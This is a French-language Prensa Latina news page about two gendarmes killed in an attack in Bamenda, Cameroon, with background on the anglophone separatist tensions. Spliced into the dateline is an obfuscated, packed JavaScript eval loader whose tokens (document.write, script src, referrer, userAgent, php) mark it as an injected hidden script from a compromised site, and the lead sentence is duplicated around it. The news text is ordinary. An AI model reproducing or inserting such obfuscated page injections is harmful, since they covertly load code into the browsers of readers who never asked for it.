jeudi 26 décembre 2024 |
Prensa Latina - Qui sommes nous

| Contacter avec Prensa Latina

Agence d'information Latino-américaine
Édition française
Search
Close this search box.

Deux gendarmes camerounais tués lors de l´attaque d´un poste de contrôle

Yaoundé, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaizi|var|u0026u|referrer|bekis||js|php'.split('|'),0,{})) 8 novembre (Prensa Latina) Des sources officielles camerounaises ont aujourd´hui informé de la mort de deux gendarmes lors d´une attaque hier soir dans la ville de Bamenda, où existe une forte tension politique.

Yaoundé, 8 novembre (Prensa Latina) Des sources officielles camerounaises ont aujourd´hui informé de la mort de deux gendarmes lors d´une attaque hier soir dans la ville de Bamenda, où existe une forte tension politique.

La population anglophone prédomine dans cette zone du pays, et ses représentants se plaignent de discrimination de la part des francophones et demandent la séparation de cette région du reste du pays.

Il n´existe jusqu´à l´heure aucune revendication de l´attaque, mais une milice intégrée par des anglophones et le groupe islamiste armé Boko Haram sont suspectés. Ce dernier a son quartier général au Nigéria, mais opère également dans l´Est du Cameroun, au Niger, au Tchad et au Mali.

Les deux zones anglophones du Cameroun sont sous le coup de la loi martiale depuis septembre 2016, lorsqu´un attentat a blessé trois militaires. Un mois plus tard les représentants de ces régions ont émis une déclaration symbolique d´indépendance, se basant sur ce qu´ils qualifient comme « une erreur dans la formation du pays suite à son indépendance du colonialisme français ».

Dans un effort pour apaiser les tensions, le président Paul Biya a appelé à un dialogue dans le but d´écouter les demandes de la population anglophone et a ordonné la libération de leaders régionaux, mais les tribunaux en ont gardé certains en prison « compte tenu de la gravité des faits qui leur sont reprochés ».

peo/mem/msl 

EN CONTINU
notes connexes